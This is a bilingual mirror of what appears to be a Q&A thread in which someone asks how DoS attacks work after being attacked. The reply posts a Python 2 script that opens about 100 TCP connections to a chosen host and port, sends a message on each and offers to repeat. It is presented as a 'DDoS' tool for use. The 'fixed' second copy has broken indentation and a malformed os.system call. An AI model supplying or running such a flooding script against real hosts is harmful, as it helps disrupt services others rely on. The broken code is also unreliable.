简体   繁体   English

Python-将请求发送到Internet协议

[英]Python - Sending requests to an Internet Protocol

Well, I recently got attacked by DoS, and need to understand some things. 好吧,我最近受到了DoS的攻击,需要了解一些事情。

I know that if someone was launching an attack on an HTTP server, he or she would send HTTP requests to make the connection not time out, and make the server do work. 我知道,如果有人对HTTP服务器发起攻击,他或她将发送HTTP请求以使连接不超时,并使服务器正常工作。 My questions is what about DoS attackers who attack an Internet Protocol address. 我的问题是攻击互联网协议地址的DoS攻击者如何处理。 What kind of packets would they send? 他们将发送哪种数据包? I want to see how it is done in code. 我想看看它是如何在代码中完成的。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target", 80)) #Hopefully port 80 is an open port
s.send("Some sort of packet that would request the server to do 'work'")

And after that question, how would the attacker, attack you if all ports are closed? 在问了这个问题之后,如果所有端口都关闭,攻击者将如何攻击您? (firewall) Would they instead change to a UDP protocol, and s.send through there? (防火墙)他们会改为使用UDP协议并通过那里发送吗? Because merely just using a connect packet (s.connect) will not be enough for a good DoS attack. 因为仅使用连接数据包(s.connect)不足以进行良好的DoS攻击。

My question is pretty much. 我的问题很多。 How do DoS'ers fill connections on an IP server so well, and why? DoS's如何很好地填充IP服务器上的连接,为什么? If I am confused, please show me why. 如果我感到困惑,请告诉我为什么。

import time, socket, os, sys, string

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="127.0.0.1"
port=80
message="+---------------------------+"
conn=100
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

found this code from: Getting error when my python ddos script running 从以下位置找到此代码: 我的python ddos​​脚本运行时出现错误

fixed a few errors.. 修复了一些错误。

print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, 80))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed]         |")
    print ( "|[DDoS Attack Engaged]       |")
    ddos.close()
for i in range(1, conn):
    dos()
 print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
     else:
        os.system(curdir+"Deqmain.py")

 HOPE THIS HELPS!

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM